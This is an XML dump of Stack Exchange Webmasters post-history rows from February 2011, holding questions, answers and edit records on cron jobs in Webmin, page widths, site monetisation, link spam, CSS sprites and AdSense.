  <row Id="21366" PostHistoryTypeId="1" PostId="9658" RevisionGUID="97588915-50e5-47d6-aca0-856f2a8d6940" CreationDate="2011-02-24T17:21:04.033" UserId="2632" Text="How can I call a URL as a cron job in Webmin?" />
  <row Id="21367" PostHistoryTypeId="3" PostId="9658" RevisionGUID="97588915-50e5-47d6-aca0-856f2a8d6940" CreationDate="2011-02-24T17:21:04.033" UserId="2632" Text="&lt;control-panel&gt;&lt;cron&gt;" />
  <row Id="21368" PostHistoryTypeId="25" PostId="9654" RevisionGUID="8bd87435-9146-4885-90cd-0d8a55c20693" CreationDate="2011-02-24T17:22:53.423" Comment="http://twitter.com/#!/StackWebmasters/status/40823994525421568" />
  <row Id="21369" PostHistoryTypeId="2" PostId="9659" RevisionGUID="95b1ff0d-b03d-4860-8211-ca3c7fd8a715" CreationDate="2011-02-24T17:31:19.773" UserId="1253" Text="You probably need to add the hashbang at the top of your script so the server knows where to find PHP to precess the script.&#xD;&#xA;&#xD;&#xA;Make sure the path to the PHP executable is correct for your server.&#xD;&#xA;&#xD;&#xA;    #!/usr/bin/php -q&#xD;&#xA;    &lt;?php&#xD;&#xA;    //  ***************************************************************************&#xD;&#xA;    //DOCUMENTATION FROM WEATHER.GOV ALL STORED IN xmlClientComments.txt&#xD;&#xA;    //  ***************************************************************************&#xD;&#xA;    error_log(&quot;running client code&quot;, 1, &quot;myemail@gmail.com&quot;);" />
  <row Id="21370" PostHistoryTypeId="6" PostId="9658" RevisionGUID="de703feb-a9aa-4889-9171-84f2546fe10f" CreationDate="2011-02-24T17:40:56.163" UserId="1253" Comment="added &quot;php webmin&quot; tags" Text="&lt;php&gt;&lt;cron&gt;&lt;control-panel&gt;&lt;webmin&gt;" />
  <row Id="21371" PostHistoryTypeId="2" PostId="9660" RevisionGUID="b86ea1f6-8070-4818-84e9-8803e4b385d0" CreationDate="2011-02-24T17:20:03.917" UserDisplayName="Fred" Text="I am trying to add an application to my site where I can post job openings with my company and allow people to apply online.  Can someone recommend a service or app already in existence for this purpose?  I tried googling it, but could not find a set of search terms that did not return endless sites for job seekers." />
  <row Id="21372" PostHistoryTypeId="1" PostId="9660" RevisionGUID="b86ea1f6-8070-4818-84e9-8803e4b385d0" CreationDate="2011-02-24T17:20:03.917" UserDisplayName="Fred" Text="Online job application" />
  <row Id="21373" PostHistoryTypeId="3" PostId="9660" RevisionGUID="b86ea1f6-8070-4818-84e9-8803e4b385d0" CreationDate="2011-02-24T17:20:03.917" UserDisplayName="Fred" Text="&lt;untagged&gt;" />
  <row Id="21374" PostHistoryTypeId="17" PostId="9660" RevisionGUID="c53df08f-842d-40ab-b5c5-01724b4c24e8" CreationDate="2011-02-24T18:03:14.323" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/12857/online-job-application" Text="" />
  <row Id="21377" PostHistoryTypeId="6" PostId="8255" RevisionGUID="4f4c3727-f799-47dd-aceb-25a37068ac00" CreationDate="2011-02-24T18:46:34.620" UserId="1253" Comment="Removed &quot;php&quot; tag" Text="&lt;forms&gt;" />
  <row Id="21378" PostHistoryTypeId="2" PostId="9661" RevisionGUID="6c57b716-fa4c-43e1-9469-084734c379a7" CreationDate="2011-02-24T19:06:35.197" UserId="5641" Text="As of Feb 24, 2011, I go with the following page widths:&#xD;&#xA;&#xD;&#xA;960px, fixed centered - for non-mobile web visitors if the site isn't for affiliate marketing. I may use either a 10px or 20px margin inside that, but the &quot;white&quot; part of the page is 960px width.&#xD;&#xA;&#xD;&#xA;750px, fixed centered - for sales pages (landing pages) for affiliate marketers. This is because we usually have one single column of text, and it's hard to read at 960px. I may use a 10px to 20px margin inside this 750px.&#xD;&#xA;&#xD;&#xA;600px, fixed centered - if the page is for affiliate marketers who want the page to appear in a PPV popup.&#xD;&#xA;&#xD;&#xA;480px, fixed centered, single column of stuff - for Android and iOS users. However, please read up on webkit viewports, because that comes into play here, as well as portrait and landscape mode (such as if I make a report with tabular data, meant to be viewed in landscape mode).&#xD;&#xA;&#xD;&#xA;260px, fixed centered, single column of stuff - for all other mobiles.&#xD;&#xA;&#xD;&#xA;As for height, I add in a couple toolbars where as to be expected and then design my pages so that the juicy content (as much as I can) can fit within that space before scrolling on a 15&quot; laptop. For instance, if I need to make an affiliate marketing squeeze page for a client, then I will try to get the signup form somewhere in the 600px downwards and less, range." />
  <row Id="21379" PostHistoryTypeId="5" PostId="9661" RevisionGUID="2ff0b86b-7cd6-4dcc-9db0-e4ff421be44d" CreationDate="2011-02-24T19:14:53.347" UserId="5641" Comment="added 588 characters in body" Text="As of Feb 24, 2011, I go with the following page widths:&#xD;&#xA;&#xD;&#xA;960px, fixed centered - for non-mobile web visitors if the site isn't for affiliate marketing. I may use either a 10px or 20px margin inside that, but the &quot;white&quot; part of the page is 960px width.&#xD;&#xA;&#xD;&#xA;750px, fixed centered - for sales pages (landing pages) for affiliate marketers. This is because we usually have one single column of text, and it's hard to read at 960px. I may use a 10px to 20px margin inside this 750px.&#xD;&#xA;&#xD;&#xA;600px, fixed centered - if the page is for affiliate marketers who want the page to appear in a PPV popup.&#xD;&#xA;&#xD;&#xA;480px, fixed centered, single column of stuff - for Android and iOS users. However, please read up on webkit viewports, because that comes into play here, as well as portrait and landscape mode (such as if I make a report with tabular data, meant to be viewed in landscape mode).&#xD;&#xA;&#xD;&#xA;260px, fixed centered, single column of stuff - for all other mobiles.&#xD;&#xA;&#xD;&#xA;As for height, I add in a couple toolbars where as to be expected and then design my pages so that the juicy content (as much as I can) can fit within that space before scrolling on a 15&quot; laptop. For instance, if I need to make an affiliate marketing squeeze page for a client, then I will try to get the signup form somewhere in the 600px downwards and less, range.&#xD;&#xA;&#xD;&#xA;Some other factors to think about here are readability and how people may use extra-large, widescreen monitors. On readability, if you have a single column of sales text and are going wider than, say, 720px, it really makes it hard to follow where the next line begins. And on extra-large, widescreen monitors, there comes a point where if you widen the content too much to fit such a resolution, the page becomes too busy. So, for me at least, unless I'm doing specialized reports for a task, I can't justify going higher than a 960px width on a page -- not even in the next century." />
  <row Id="21380" PostHistoryTypeId="5" PostId="9660" RevisionGUID="7cda877c-a484-4bc1-877e-d7d3b4967b25" CreationDate="2011-02-24T19:44:32.330" UserId="5117" Comment="Reformatted + retagged" Text="I am trying to add an application to my site where I can post job openings with my company and allow people to apply online. &#xD;&#xA;&#xD;&#xA;Can someone recommend a service or app already in existence for this purpose?  &#xD;&#xA;&#xD;&#xA;I tried googling it, but could not find a set of search terms that did not return endless sites for job seekers." />
  <row Id="21381" PostHistoryTypeId="6" PostId="9660" RevisionGUID="7cda877c-a484-4bc1-877e-d7d3b4967b25" CreationDate="2011-02-24T19:44:32.330" UserId="5117" Comment="Reformatted + retagged" Text="web-application" />
  <row Id="21382" PostHistoryTypeId="24" PostId="9660" RevisionGUID="7cda877c-a484-4bc1-877e-d7d3b4967b25" CreationDate="2011-02-24T19:44:32.330" Comment="Proposed by 5117 approved by 1253 edit id of 33" />
  <row Id="21383" PostHistoryTypeId="2" PostId="9662" RevisionGUID="40d78ffc-6590-4b28-9a1d-be53c342306f" CreationDate="2011-02-24T15:44:21.393" UserDisplayName="Jay" Text="Does anyone know why my website's URLs in Google web index has dropped to &quot;0&quot; ? It shows I have +350 link on my xml file and last week I had +150 URLs in web index. I didn't do any changes to my XML file." />
  <row Id="21384" PostHistoryTypeId="1" PostId="9662" RevisionGUID="40d78ffc-6590-4b28-9a1d-be53c342306f" CreationDate="2011-02-24T15:44:21.393" UserDisplayName="Jay" Text="URLs in Google Web Index Has Dropped to 0!! Why?" />
  <row Id="21385" PostHistoryTypeId="3" PostId="9662" RevisionGUID="40d78ffc-6590-4b28-9a1d-be53c342306f" CreationDate="2011-02-24T15:44:21.393" UserDisplayName="Jay" Text="&lt;google&gt;&lt;seo&gt;&lt;google-analytics&gt;&lt;seo-friendly&gt;" />
  <row Id="21386" PostHistoryTypeId="17" PostId="9662" RevisionGUID="94f0a003-c5bf-42cc-828e-aa8d651ef9f9" CreationDate="2011-02-24T20:07:21.487" UserId="-1" Comment="from http://stackoverflow.com/questions/5106896/urls-in-google-web-index-has-dropped-to-0-why" Text="" />
  <row Id="21387" PostHistoryTypeId="6" PostId="9662" RevisionGUID="9f050d04-2866-4685-ac08-87ce37ad5c32" CreationDate="2011-02-24T20:12:14.423" UserId="1253" Comment="Removed &quot;google-analytics seo-friendly&quot; tags" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="21388" PostHistoryTypeId="25" PostId="9658" RevisionGUID="6014c4be-0649-401d-b080-f17b28740133" CreationDate="2011-02-24T20:22:53.277" Comment="http://twitter.com/#!/StackWebmasters/status/40869292908089345" />
  <row Id="21395" PostHistoryTypeId="2" PostId="9664" RevisionGUID="1937d65a-4cf5-4881-847c-5ff10d93f103" CreationDate="2011-02-24T21:30:16.390" UserId="5645" Text="I have a website whose goal is to provide a free educational service (like wikipedia does, not on the same scale obviously).&#xD;&#xA;&#xD;&#xA;I wonder how I will continue to pay for the servers when I reach high traffic. I don't want to use any ads or sponsor things, because this is not the goal of the website (just like wikipedia once again).&#xD;&#xA;&#xD;&#xA;Does &quot;please donate&quot; works ?&#xD;&#xA;&#xD;&#xA;If no, is there any alternative to a &quot;private/premium not free&quot; part in the website ?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="21396" PostHistoryTypeId="1" PostId="9664" RevisionGUID="1937d65a-4cf5-4881-847c-5ff10d93f103" CreationDate="2011-02-24T21:30:16.390" UserId="5645" Text="How to pay for servers without ads ?" />
  <row Id="21397" PostHistoryTypeId="3" PostId="9664" RevisionGUID="1937d65a-4cf5-4881-847c-5ff10d93f103" CreationDate="2011-02-24T21:30:16.390" UserId="5645" Text="&lt;advertising&gt;&lt;monetize&gt;" />
  <row Id="21398" PostHistoryTypeId="2" PostId="9665" RevisionGUID="dc69ff69-ffef-4535-bea8-a977bf3e220f" CreationDate="2011-02-24T21:41:03.210" UserId="5574" Text="Issue was with intermediate certificate. I downloaded a new one from GoDaddy and installed and this has resolved the issue.&#xD;&#xA;&#xD;&#xA;Seems there may be a problem with the checker above as it indicated the at the intermediate certificate was OK." />
  <row Id="21399" PostHistoryTypeId="2" PostId="9666" RevisionGUID="f0d7c42b-55c6-41eb-a2da-b394eae28702" CreationDate="2011-02-24T21:47:04.933" UserDisplayName="user5646" Text="If your website is useful, look for a sympathetic webmaster or web host willing to exchange free hosting for an unobtrusive link." />
  <row Id="21400" PostHistoryTypeId="5" PostId="9660" RevisionGUID="d565cbae-08e2-47cc-ab53-c96eeb0c4bb0" CreationDate="2011-02-24T21:58:01.033" UserId="5302" Comment="added more details" Text="I am trying to add an application to my site where I can post job openings with my company and allow people to apply online. &#xD;&#xA;&#xD;&#xA;Can someone recommend a service or app already in existence for this purpose?  &#xD;&#xA;&#xD;&#xA;I tried googling it, but could not find a set of search terms that did not return endless sites for job seekers.&#xD;&#xA;&#xD;&#xA;This is a (very) small business and I do not expect to have more than a few openings at any time, but what I am actually interested in is having a repository of interested job seekers to have on file.  Then when people ask me about openings, I could just refer them to the page and they could apply.  Then, if we have an opening, we could look through the list of candidates and if we can't fill the position(s) from that list, we could post the job and advertise to fill the position." />
  <row Id="21401" PostHistoryTypeId="24" PostId="9660" RevisionGUID="d565cbae-08e2-47cc-ab53-c96eeb0c4bb0" CreationDate="2011-02-24T21:58:01.033" Comment="Proposed by 5302 approved by 1253 edit id of 34" />
  <row Id="21402" PostHistoryTypeId="2" PostId="9667" RevisionGUID="ae232b6f-a8ec-415a-881e-29e6a3afac42" CreationDate="2011-02-24T22:04:42.717" UserId="1757" Text="Along with Ferodynamics' suggestions, you could also do the following:&#xD;&#xA;&#xD;&#xA; - Charge some members for a premium membership (e.g. most deviantArt users don't pay a cent and have access to most features; but a small minority choose to pay for a premium membership that gives them access to additional features).&#xD;&#xA; - Sell branded merchandise (t-shirts, hats, mugs) or supplemental products (e.g. Wikipedia offers their entire database on DVDs; deviantArt users can sell prints of their artwork, with dA taking a small percentage of the proceeds).&#xD;&#xA; - Find corporate sponsors&amp;mdash;this is similar to asking for donations, except that you target large companies that want to give to charities for tax or PR benefits.&#xD;&#xA; - Apply for grants&amp;mdash;you can apply for grants offered by private companies, non-profit organizations, or the government." />
  <row Id="21403" PostHistoryTypeId="2" PostId="9668" RevisionGUID="f1ab2aa0-5bb6-4f7c-8cb5-bf326c8024dc" CreationDate="2011-02-24T22:12:26.950" UserDisplayName="hen3ry" Text="A CMS-based site I manage is suffering from a small but ominously growing number of almost certainly bot-emplaced, invisible spam links placed in registered-user-only shoutboxes and user forums. &quot;Link Spam&quot;, yes?&#xD;&#xA;&#xD;&#xA;Until recently, I've kept my eyes on narrow tech issues, and I'm having trouble understanding what's going on.  I understand that we need to tighten up our registration procedures, but more generally...&#xD;&#xA;&#xD;&#xA;Do I understand correctly that our primary interest in combatting link spam on our site is that major search engines reduce or zero the search visibility of sites that contain link spam?    Although we're non-commercial, we don't want to be at the bottom of the rankings, or eliminated altogether.&#xD;&#xA;&#xD;&#xA;Are the linked-to sites the direct beneficiaries of the spam links, or is there some kind of indirection?   What is the likely relationship between the link-spammers and the  owners of the (directly or indirectly) linked-to sites?   Are the owners of the linked-to sites paying the link-spammers for higher visibility?   Are the owners aware that this method is being used?  &#xD;&#xA;&#xD;&#xA;It is my impression that major search engines are capable these days of detecting that given sites are being promoted by link spam, and that these sites may consequently be reduced in search rank or dropped altogether.&#xD;&#xA;&#xD;&#xA;Do these sanctions occur frequently?   Is there any potential value in sending notifications to the owners of the linked-to sites that their visibility is at risk?&#xD;&#xA;&#xD;&#xA;TIA,&#xD;&#xA;&#xD;&#xA;hen3ry" />
  <row Id="21404" PostHistoryTypeId="1" PostId="9668" RevisionGUID="f1ab2aa0-5bb6-4f7c-8cb5-bf326c8024dc" CreationDate="2011-02-24T22:12:26.950" UserDisplayName="hen3ry" Text="general questions about link spam" />
  <row Id="21405" PostHistoryTypeId="3" PostId="9668" RevisionGUID="f1ab2aa0-5bb6-4f7c-8cb5-bf326c8024dc" CreationDate="2011-02-24T22:12:26.950" UserDisplayName="hen3ry" Text="&lt;spam&gt;" />
  <row Id="21406" PostHistoryTypeId="17" PostId="9668" RevisionGUID="ff9c371e-17b2-42ff-9cbb-b30ed9c354a7" CreationDate="2011-02-24T22:16:18.797" UserId="-1" Comment="from http://serverfault.com/questions/239980/general-questions-about-link-spam" Text="" />
  <row Id="21407" PostHistoryTypeId="5" PostId="9667" RevisionGUID="a7789be6-61dd-406b-8546-6aa93153dd71" CreationDate="2011-02-24T22:19:57.530" UserId="1757" Comment="added 802 characters in body; added 13 characters in body" Text="Along with Ferodynamics' suggestions, you could also do the following:&#xD;&#xA;&#xD;&#xA; - Charge some members for a premium membership (e.g. most deviantArt users don't pay a cent and have access to most features; but a small minority choose to pay for a premium membership that gives them access to additional features).&#xD;&#xA; - Sell branded merchandise (t-shirts, hats, mugs) or supplemental products (e.g. Wikipedia offers their entire database on DVDs; deviantArt users can sell prints of their artwork, with dA taking a small percentage of the proceeds).&#xD;&#xA; - Find corporate sponsors&amp;mdash;this is similar to asking for donations, except that you target large companies that want to give to charities for tax or PR benefits.&#xD;&#xA; - Apply for grants&amp;mdash;you can apply for grants offered by private companies, non-profit organizations, or the government.&#xD;&#xA;&#xD;&#xA;Alternatively, some commercial companies (e.g. developers of open source software) offer products for free but gain free publicity and have their reputations boosted by the popularity of their products. They can then offer other commercial services which subsidize the development of their free products. For instance, CakeDC produces the open source MVC framework CakePHP. But they make their money from offering consulting, development, and training services related to CakePHP.&#xD;&#xA;&#xD;&#xA;Likewise, if the educational platform you're using for the site can be re-purposed for enterprise e-learning or knowledge management, then you can license it to commercial companies to pay for the free website. Or, with an SaaS model, you can use business memberships to subsidize the free memberships offered to private users." />
  <row Id="21408" PostHistoryTypeId="2" PostId="9669" RevisionGUID="c3e3adfc-0271-47b6-853f-f5483fa7939b" CreationDate="2011-02-24T22:22:08.137" UserId="2608" Text="Sure of course, totally understood.  I was more comfortable going over the capabilities rather then mentioning the names however yes all of the content makes the site and i'll keep that in mind next time I respond to submissions.&#xD;&#xA;&#xD;&#xA;My recommendations are here&#xD;&#xA;&#xD;&#xA;Rackspace - www.rackspace.com, TX based large and easy to use, great cloud interface, no database support with basic service. vmware service available, most affordable service.&#xD;&#xA;&#xD;&#xA;Amazon - aws.amazon.com, WA based and similar to rackspace with added database services at extra costs per service. most expensive service&#xD;&#xA;&#xD;&#xA;Logicworks - www.logicworks.net, NY company offering infiniCloud and VMware clouds with managed database services and no contracts or activation fees." />
  <row Id="21409" PostHistoryTypeId="12" PostId="9669" RevisionGUID="634a74c9-b2d9-4002-ab14-28991ce0499b" CreationDate="2011-02-24T22:22:21.740" UserId="2608" Text="[{&quot;Id&quot;:2608,&quot;DisplayName&quot;:&quot;Nick O\u0027Neil&quot;}]" />
  <row Id="21410" PostHistoryTypeId="2" PostId="9670" RevisionGUID="61b65902-0a86-4579-a220-3ad8e3d75eae" CreationDate="2011-02-24T23:02:34.653" UserId="1426" Text="Your primary interest in combatting link spam should be preventing your shoutbox and forum filling up with junk, and possibly links to malware. Potentially getting penalised by the search engines is a concern too, but probably a secondary one.&#xD;&#xA;&#xD;&#xA;These days most link spam (that I see at least) links to forum-type sites, where the spammer can setup links to the actual beneficiaries of the spam. So the goal is to build some page rank to various throwaway spam pages which they can then use to influence page rank on other sites.&#xD;&#xA;&#xD;&#xA;It's quite easy for search engines to detect which sites the spam links to, but they can't know for sure that it's the owners of said site creating that spam (either directly or indirectly). If Google penalised any site linked to by link spam, a company could nuke their competitors from the search engines just by submitting some spam on their behalf. This is why the problem is more difficult to solve than it first appears.&#xD;&#xA;&#xD;&#xA;For solving your immediate issue, consider:&#xD;&#xA;&#xD;&#xA;* Adding a CAPTCHA to your sign up form (and/or the shoutbox and forum post forms, at least users who've not posted before)&#xD;&#xA;* Using something like Akismet to check submissions&#xD;&#xA;&#xD;&#xA;possibly both." />
  <row Id="21411" PostHistoryTypeId="2" PostId="9671" RevisionGUID="60021a54-825e-49dd-8fa6-c348e6287931" CreationDate="2011-02-24T23:04:14.917" UserId="5568" Text="I am looking for a tool very similar to http://www.tothepc.com/archives/combine-merge-multiple-css-files/&#xD;&#xA;&#xD;&#xA;However, given this example:&#xD;&#xA;&#xD;&#xA;test1.css:&#xD;&#xA;&#xD;&#xA;    #admin {&#xD;&#xA;    	background: #c9d2dc;&#xD;&#xA;    	border-color: #ccc&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;test2.css:&#xD;&#xA;&#xD;&#xA;    #admin {&#xD;&#xA;    	background: #222;&#xD;&#xA;    	border-bottom: 1px solid #444;&#xD;&#xA;    	border-left: 1px solid #444;&#xD;&#xA;    	padding: 2px;&#xD;&#xA;    	position: fixed;&#xD;&#xA;    	right: 0px;&#xD;&#xA;    	top: 0px;&#xD;&#xA;    	width: 120px;&#xD;&#xA;    	z-index: 2&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;It will only allow you to select one or the other. I want to merge them, making it:&#xD;&#xA;&#xD;&#xA;    #admin {&#xD;&#xA;    	background: #c9d2dc;&#xD;&#xA;    	border-color: #ccc&#xD;&#xA;    	border-bottom: 1px solid #444;&#xD;&#xA;    	border-left: 1px solid #444;&#xD;&#xA;    	padding: 2px;&#xD;&#xA;    	position: fixed;&#xD;&#xA;    	right: 0px;&#xD;&#xA;    	top: 0px;&#xD;&#xA;    	width: 120px;&#xD;&#xA;    	z-index: 2&#xD;&#xA;    }" />
  <row Id="21412" PostHistoryTypeId="1" PostId="9671" RevisionGUID="60021a54-825e-49dd-8fa6-c348e6287931" CreationDate="2011-02-24T23:04:14.917" UserId="5568" Text="CSS Intelligent Merger" />
  <row Id="21413" PostHistoryTypeId="3" PostId="9671" RevisionGUID="60021a54-825e-49dd-8fa6-c348e6287931" CreationDate="2011-02-24T23:04:14.917" UserId="5568" Text="&lt;css&gt;" />
  <row Id="21414" PostHistoryTypeId="25" PostId="9664" RevisionGUID="f5006402-02da-4c44-95dd-bedf36384f33" CreationDate="2011-02-24T23:22:53.523" Comment="http://twitter.com/#!/StackWebmasters/status/40914591571509248" />
  <row Id="21415" PostHistoryTypeId="2" PostId="9672" RevisionGUID="6e133590-6b47-4532-b71d-c53b4b1d2aa8" CreationDate="2011-02-25T00:11:55.017" UserId="5647" Text="Freelancer.com looks like it was a custom built site.  I do not think a platform such as WordPress or Drupal will do you any good here.  Instead, I would recommend for you to use a framework such as [CakePHP][1] or [Symfony][2] for you to build your site on (if PHP is your choice of language).  Of course, this requires programming experience, but I do not think it is realistic to build from a platform. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://cakephp.org/&#xD;&#xA;  [2]: http://www.symfony-project.org/" />
  <row Id="21416" PostHistoryTypeId="2" PostId="9673" RevisionGUID="a3b98621-f41c-4700-9050-e9ce549cb0fa" CreationDate="2011-02-25T00:22:20.380" UserId="5647" Text="I think you should take the hit now and separate the site from your current site.  This way, you are able to really focus the site on one type of market and product.  This is very similar to the way large companies keep high end brand names separate from their mass consumer products such as Lexus and Toyota (which is really the same company)." />
  <row Id="21417" PostHistoryTypeId="2" PostId="9674" RevisionGUID="2d676350-84e0-4e40-81b3-7a46dd7082df" CreationDate="2011-02-25T02:05:24.013" UserId="4744" Text="I am thinking to switch to CSS Sprite for my images.&#xD;&#xA;The main problem is I need something compatible with alt attribute. (Seo-purpouse)&#xD;&#xA;&#xD;&#xA;What Can I use? The first think I thought was to use a standard &#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;1x1.gif&quot; class=&quot;mysprite&quot;&gt;`&#xD;&#xA;&#xD;&#xA;The problem is I can't use that because that would like suspicous by google because of this:&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;1x1.gif&quot; class=&quot;mysprite&quot; alt=&quot;my keyword1&quot;&gt;`&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;1x1.gif&quot; class=&quot;mysprite&quot; alt=&quot;my keyword2&quot;&gt;`&#xD;&#xA;&#xD;&#xA;`&lt;img src=&quot;1x1.gif&quot; class=&quot;mysprite&quot; alt=&quot;my keyword3&quot;&gt;`&#xD;&#xA;&#xD;&#xA;(the same image &quot;1x1.gif&quot; with different alt text)&#xD;&#xA;&#xD;&#xA;How we can solve this?&#xD;&#xA;" />
  <row Id="21418" PostHistoryTypeId="1" PostId="9674" RevisionGUID="2d676350-84e0-4e40-81b3-7a46dd7082df" CreationDate="2011-02-25T02:05:24.013" UserId="4744" Text="CSS sprite, what html tag to use" />
  <row Id="21419" PostHistoryTypeId="3" PostId="9674" RevisionGUID="2d676350-84e0-4e40-81b3-7a46dd7082df" CreationDate="2011-02-25T02:05:24.013" UserId="4744" Text="&lt;google&gt;&lt;html&gt;&lt;css&gt;" />
  <row Id="21421" PostHistoryTypeId="13" PostId="9669" RevisionGUID="e32d82ae-f3f9-40d9-9f3f-96d9e1b25876" CreationDate="2011-02-25T02:19:30.707" UserId="108" Text="[{&quot;Id&quot;:108,&quot;DisplayName&quot;:&quot;RandomBen&quot;}]" />
  <row Id="21422" PostHistoryTypeId="6" PostId="9671" RevisionGUID="ec1cbcd0-813b-44d2-8ca2-a1babddd7929" CreationDate="2011-02-25T02:21:05.943" UserId="108" Comment="edited tags" Text="&lt;css&gt;&lt;tools&gt;" />
  <row Id="21423" PostHistoryTypeId="25" PostId="9668" RevisionGUID="3e4b1cee-33bc-4501-84a7-d5f969889e9c" CreationDate="2011-02-25T02:22:53.377" Comment="http://twitter.com/#!/StackWebmasters/status/40959889962565632" />
  <row Id="21424" PostHistoryTypeId="2" PostId="9675" RevisionGUID="e39494ed-2620-4000-ab46-04a9aca89dad" CreationDate="2011-02-25T02:46:34.130" UserDisplayName="valter" Text="For you who use Google Adsense, What is the CPC for and english website. For portuguese websites its usualy under $1. Very low." />
  <row Id="21425" PostHistoryTypeId="1" PostId="9675" RevisionGUID="e39494ed-2620-4000-ab46-04a9aca89dad" CreationDate="2011-02-25T02:46:34.130" UserDisplayName="valter" Text="What is the google adsense CPC average for an english website?" />
  <row Id="21426" PostHistoryTypeId="3" PostId="9675" RevisionGUID="e39494ed-2620-4000-ab46-04a9aca89dad" CreationDate="2011-02-25T02:46:34.130" UserDisplayName="valter" Text="&lt;google-adsense&gt;" />
  <row Id="21427" PostHistoryTypeId="17" PostId="9675" RevisionGUID="f5bbfbf5-16e2-4d26-a3f0-27e26190b5db" CreationDate="2011-02-25T02:56:03.513" UserId="-1" Comment="from http://stackoverflow.com/questions/5113057/what-is-the-google-adsense-cpc-average-for-an-english-website" Text="" />
  <row Id="21432" PostHistoryTypeId="2" PostId="9677" RevisionGUID="8ac9ce0e-610e-49d8-b8cb-f376a15aecb6" CreationDate="2011-02-25T04:17:05.683" UserDisplayName="user5649" Text="MyBB all the way. The module system is great and useful." />
  <row Id="21434" PostHistoryTypeId="2" PostId="9678" RevisionGUID="b3eea8bd-3f30-4a64-87a1-f4dac2de86f4" CreationDate="2011-02-25T04:44:25.277" UserDisplayName="user5650" Text="Google is asking me to fax credit card xerox in order to activate adwords API in MCC. This really sucks imo... they could have had prepaid option.&#xD;&#xA;&#xD;&#xA;In any case, my questions:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;1) Are there alternatives to this - is there a 3rd party provider who will give me this service without me sending them the credit card info?&#xD;&#xA;&#xD;&#xA;2) How secure is it to send my credit card fax via some online fax service?&#xD;&#xA;&#xD;&#xA;3) Do you think they will reject the application if I hide my CVV number in the fax?&#xD;&#xA;&#xD;&#xA;Any other thoughts appreciated :)&#xD;&#xA;&#xD;&#xA;thanks&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21435" PostHistoryTypeId="1" PostId="9678" RevisionGUID="b3eea8bd-3f30-4a64-87a1-f4dac2de86f4" CreationDate="2011-02-25T04:44:25.277" UserDisplayName="user5650" Text="Google adwords API - credit card safety question" />
  <row Id="21436" PostHistoryTypeId="3" PostId="9678" RevisionGUID="b3eea8bd-3f30-4a64-87a1-f4dac2de86f4" CreationDate="2011-02-25T04:44:25.277" UserDisplayName="user5650" Text="&lt;google&gt;&lt;creditcard&gt;&lt;online-resources&gt;" />
  <row Id="21439" PostHistoryTypeId="2" PostId="9679" RevisionGUID="a8f94d15-3e3b-4049-a1a9-faac8abff688" CreationDate="2011-02-25T05:20:08.223" UserId="1253" Text="CSS sprites are not used with IMG tags. They are used with CSS (as in **CSS** sprites). They are typically used with the `background-image` CSS property and `:hover` pseudo class. When an action occurs, usually mouseover event, the image in the background is changed by moving the background image around to the appropriate image. Showing different button states (normal, active, etc) are a common example of this.&#xD;&#xA;&#xD;&#xA;FYI, the alt attribute has very little SEO value and you shouldn't be worrying about it too much especially in the case of background images. If anything it sounds like you are over optimizing.  " />
  <row Id="21440" PostHistoryTypeId="25" PostId="9660" RevisionGUID="3f4b34b3-3560-4244-a8d3-37a5fbd3f6d9" CreationDate="2011-02-25T05:22:53.277" Comment="http://twitter.com/#!/StackWebmasters/status/41005188307222528" />
  <row Id="21441" PostHistoryTypeId="5" PostId="9612" RevisionGUID="a3cb68b2-c414-4d29-8fdf-19f79b7c6d09" CreationDate="2011-02-25T05:24:25.117" UserId="5648" Comment="contenders list" Text="What are the best (and most widely used) Linux-based **message board** softwares, and the ***pros*** and ***cons*** of each. e.g. Security Vulnerabilities, Performance on a cheap server, comes pre-packaged [RPM or DEB].&#xD;&#xA;&#xD;&#xA;I am looking for *the best* message board software for my website. A VPS can run almost any software, so the sky is the limit!&#xD;&#xA;&#xD;&#xA; 1. *Free, doesn't require unreasonable number of hyperlinks to their website*&#xD;&#xA; 2. Security focused / Widely Used, vulnerabilities are found and fixed quick&#xD;&#xA; 3. Easy to keep up-to-date, i.e. prepackaged / auto-update in some way&#xD;&#xA; 4. Moderator features [like pinning / message preamble], account management&#xD;&#xA; 5. Themeable, customize appearance a bit&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;The contenders appear to be&#xD;&#xA;&#xD;&#xA; - **phpBB** - Undeniably popular, but so 1998&#xD;&#xA; - **MyBB** - Used to be commercial, looks awesome! LGPL&#xD;&#xA; - **twitter**, or some new fangled _hosted_ forum. _But that's outside the scope of this question_" />
  <row Id="21442" PostHistoryTypeId="5" PostId="9679" RevisionGUID="521b253b-fbf0-4fd1-89e0-3fa4a7fbb22f" CreationDate="2011-02-25T05:25:19.110" UserId="1253" Comment="added 92 characters in body" Text="CSS sprites are not used with IMG tags. They are used with CSS (as in **CSS** sprites). They are typically used with the `background-image` CSS property and `:hover` pseudo class. When an action occurs, usually mouseover event, the image in the background is changed by moving the background image around to the appropriate image. Showing different button states (normal, active, etc) are a common example of this. [Here are some good examples of this][1].&#xD;&#xA;&#xD;&#xA;FYI, the alt attribute has very little SEO value and you shouldn't be worrying about it too much especially in the case of background images. If anything it sounds like you are over optimizing.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://skyje.com/2010/02/css-sprites/" />
  <row Id="21443" PostHistoryTypeId="5" PostId="9675" RevisionGUID="546c2319-4552-4dcd-930f-594e32623643" CreationDate="2011-02-25T05:27:06.910" UserId="1253" Comment="Spelling corrections" Text="For you who use Google Adsense, What is the CPC for an English website. For Portuguese websites its usualy under $1. Very low." />
  <row Id="21445" PostHistoryTypeId="18" PostId="9628" RevisionGUID="ef376d67-850e-419d-acfe-82d4f3065755" CreationDate="2011-02-25T05:29:08.143" UserId="1253" Comment="from http://webmasters.stackexchange.com/questions/9627/good-message-board-for-a-website-e-g-phpbb" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
